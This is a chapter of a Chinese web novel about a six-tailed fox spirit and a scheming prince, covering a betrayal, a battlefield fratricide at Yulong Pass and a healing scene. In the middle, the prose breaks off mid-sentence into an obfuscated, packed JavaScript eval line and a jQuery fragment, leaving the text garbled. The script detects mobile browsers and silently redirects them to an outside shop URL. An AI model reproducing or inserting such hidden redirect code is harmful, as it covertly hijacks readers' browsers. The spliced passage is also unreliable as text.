短暂的沉默后,宴宸开口:“没错,我确实早就知道你是狐妖。也利用了你。确认狐妖是否能对抗黑气。”


    “这对玉陇关有用。”


    期待的否认落空,一股怒气直冲天灵盖。


    蓝衣女子漂亮的眼眸染上猩红,无心听他接下来的辩白,她明明对他坦诚相待。


    他,怎么可以欺骗她?


    莫名的悲伤翻腾上来,盖过了被欺骗的恼火。


    这些日子的盛情款待,竟是另有图谋。


    一甩衣袖,转身离开前,对着眼前的救命恩人,蓝衣女子失望开口:“既然如此,我所报之恩已经还清。”


    “我们两清。就此别过。”


    看着少女离开的背影,宴宸眸色沉沉。


    一切只是为了玉陇关大计罢了。


    他沉默地立在原地,攥紧腕边的衣服,告诫自己不要移步。


    并且已用灵火验明,陷阱中的灰狐毛发和这几日搜集的白色毛发一致。


    狐妖修行越高,发色越纯净接近于月华。


    对方是怎么做到短时间进阶的他无从知晓。


    但有一点可以确定,她只是一只六尾灵狐,并不是能够驱除黑气的九尾天狐。


    离开也无所谓。


    白玖转身回到客栈拿上信物便想启程。


    多亏这几日的休养生息,白玖精神恢复了许多,破解客栈外的方士阵法格外轻松。


    离开前,回头看了眼桌上送来的糕点和首饰,勾起一抹自嘲的笑。


    有什么用?


    这并非真心,都是拉拢人心的手段罢了。


    爹娘说的没错,人类都不可信。


    感知到狐妖的离开,方士连滚带爬过来启禀宸王,生怕惹到这位活阎王不快。


    没想到素日手段严苛的殿下只是微微点头,执笔的手微顿,淡声回复:“我知道了。”


    之后再无任何吩咐,仿佛对这件事的发生早有预期。


    *


    去往东海的路程并不轻松。


    虽然凭借月色清修和灵草滋补实力有所长进,但一路上还是遇到不少觊觎内丹的坏人。


    能打便打,打不过就跑的白玖在长途跋涉之后有些狼狈。


    她好不容易找到一家茶铺歇脚,却看见店掌柜带着两个伙计收拾东西准备逃跑。


    “掌柜的,这是怎么回事?店铺不管了吗?”


    白玖一碗茶水灌下去,舒了口气问道。她前些日子和宴宸游玩市井,对人类的寒暄手段已经学得惟妙惟肖。


    “别提了!”白发苍苍的店掌柜边摆手边叹气,还不忘边清点桌上的包袱。


    “都已经要打仗了,小命都保不住了还管这个。祈祷厉王、应王几位殿下能从玉陇关顺利归来吧!”


    “这样我还能回来开店。你一个姑娘家,也赶快跑吧,这里很快就不安全了。”


    玉陇关,白玖听这名字十分耳熟。


    当日在应王府门口听到的就是这个。


    难道宴宸他们多方探寻是要去玉陇关?


    心脏不受控制地狂跳起来,白玖放下钱币,不顾身后掌柜的提醒,头也不回地朝西北方向奔去。


    *


    玉陇关战场,放眼望去都是死状可怖的将士尸体和摇摇欲坠的旌旗,被黑色浓雾包围着,残活着的人找不到出处,只能活生生熬死在这里。


    大军被冲散,尸体遍野,早已分不清将军和小兵。


    一身黑色战甲的宴宸擦去嘴角的黑色余血,用手中弓箭迅速射死接近自己的几只黑妖后。


    又拔出一只白羽箭,暗紫色的箭头对准正在用刀击杀黑妖的厉王后背。


    对方似有所觉,在转头过来前听得冷箭嗖得一声从耳边擦过。


    一只状若牛犊的黑妖应声倒地。


    准备反击的厉王放下对着应王的横刀,朝着倒地的黑妖飞快补上一刀,对这个向来不讨喜的弟弟生平第一次露出和善的微笑。


    看来皇弟是好意,自己之前是误会他了。


    他虽然行事狠戾,但还是顾及手足情谊的。没想到这皇弟平日疏离,竟如此不计前嫌地救他。


    回去一定好好待他。


    下一秒,一只更大的黑妖看到孩子被杀,呜咽着愤怒地扑上来,庞大的身体生生接住刀刃,顺势咬下了厉王半个肩膀。


    厉王倒在地上痛苦挣扎,看受伤半边身体流血不止,死亡的恐惧渐渐逼近,促使他向来人求救。


    “皇弟,救我!”


    被愤怒的黑妖撕咬着,厉王痛苦非常,盼着离他不远的应王宴宸施以援手。


    不远处的黑妖向着靠近的宴宸袭来,被他腰间的蓝色玉佩逼得不得近身。


    借助四处无人的天然屏障,宴宸缓步走近,却收起了手里的弓箭。


    低头俯视这个昔日待他“不薄”的兄长,年轻公子回以微笑:“兄长刚才并没有误会我。”


    “我们两人,今日总有一个要死在这里的。”


    说罢,他拿起厉王的佩刀,狠狠对着眼前人补上一刀。


    看应王彻底没了声息,才吹响了鸣笛,示意赶来救援的将士撤退。


    这位昔日骄奢跋扈的皇子眼中溢满不甘和怨恨,死不瞑目地盯着男子离去的方向。


    解决完心腹大患,宴宸拿起弓箭边反击黑气边撤退,准备班师回朝。


    玉陇关南位于黑气生发之地,黑妖补给充足。


    原本胜券在握,即将返程的灭妖人马,在彻夜不休的攻击下渐渐进入劣势,死伤人数越来越多。


    几日过去,竟只剩下三人还在抵抗,身上新伤盖着旧伤,体力濒危。


    这时,一只半山高的通体白色的六尾狐急步走来,六条蓬松的尾巴瞬间拉长,将逼近的黑妖悉数驱赶。


    它身上血迹斑斑,血气所到之处,黑雾散去,风清月明。


    天空恢复原本的轮廓,一轮巨大的明月高悬在上。


    六尾狐张开血盆大口,把瑟瑟发抖的士兵们甩到背上,疾速奔跑起来,直到跑到一处空旷的草地,再也感知不到黑气才放慢脚步。


    腹部的血气若有若无地缠绕着,仔细看有黑线缭绕。


    *


    草地上,篝火旁,躺着敷好药草后沉沉睡去的士兵。


    宴宸低头擦拭完手上的白玉弓箭,抬头看向不远处。


    蓝衣女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233143|197426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子在皎洁月色下沐浴光华,呼吸吐纳,如同下凡仙子。


    为何?


    为什么来救他?


    宴宸盯着闭目运功的白玖,神色复杂,突然吐出一口黑色污血。


    “宴公子,你受伤了?”耳力灵敏的白玖听到身后人的动静,扭头。


    见黑衣公子倒下,面色突变。


    于是快步走到宴宸身后,坐下为他运功疗伤。


    这次只是为了黑气。无关私情。


    虽然族人告诉她不要参与凡人因果。但事关黑气,她不能置之不理。


    她已用妖力消除了那几名幸存士兵有关她的记忆,只要这次治好恩人,她就再次启程。


    将倒地的公子扶起,掌心触及到对方脊背,手上沾满黑色的污血,白玖拧眉。


    这并非这次黑气所受的外伤,而是很严重的毒。


    此毒积年已久,深入骨髓,只是此刻伤重才显现出来。


    感受到对方掌心触及身体的温热,宴宸微微一怔,将没被污血染过的左手伸到背后,轻轻握住女子瘦弱的手腕,语气轻松:“没用,这治不了的。我自幼修习医术多年,翻遍各种古典药方,仍然无解。”


    只是因为阿娘出身低微,自幼就被下毒,母妃连同宗亲一同被覆灭。


    现下,这滔天仇恨已报大半。


    握紧颤抖的拳头,只是就这样时日无多,真是不甘心。


    宴宸看了下眼前愁容满面的女子,还是没说出这句话。


    这次来救他已是意外。


    虽自幼生活所迫,算计别人已成本能,但这一次,他不想要求她再多做什么。


    “不必这么悲观。”白玖笑起来,拍了下他的胳膊,娇媚的眼神此刻格外明亮。


    “你忘了我是谁?我们灵狐一族心血自有妙用。你是我的救命恩人,况且你也不要太在意,帮你也算我积累功德了嘛。”


    她垂下鸦羽般的长睫,看向自己皓白手腕,右手食指中指合并在左手掌心上虚虚一划。


    红色鲜血从竖状伤口成丝状涌出,和宴宸的黑色污血在空中密密麻麻交织在一起,在月色下呈现出一种诡异的美感。


    “你上次说的心愿可还有效?”


    平静已久的心湖泛起涟漪。期待着有什么把它搅得更乱一些。宴宸看着白玖,声调越发微弱,“我之前不曾奢求什么,但从未有这样一天盼着它能实现。”


    男子声量越发含糊,像是下一秒要睡去。


    “你说什么?”白玖看着他的动作,附耳向公子嘴边贴去。


    她一向动作大胆,殊不知在常人眼里这姿态已经亲昵得过分。


    “我想要你留下来......”拽住蓝衣女子的衣袖,宴宸贴近她耳边,强撑着力气说了几句话。但在黑气和终究是个凡人,之前作战耗费太多体力,能撑到此刻已是极限,昏迷了过去。


    白玖呆呆地抱着昏睡过去的黑衣公子,六只尾巴从身后腾地升起,像一把招摇的羽扇,尾巴尖泛着嫣红,在月光下闪闪发亮。她只觉心脏跳动如此剧烈,渐渐安静下来。


    耳边还回荡着他刚才的话,震耳欲聋。


    “留下来,陪着我。”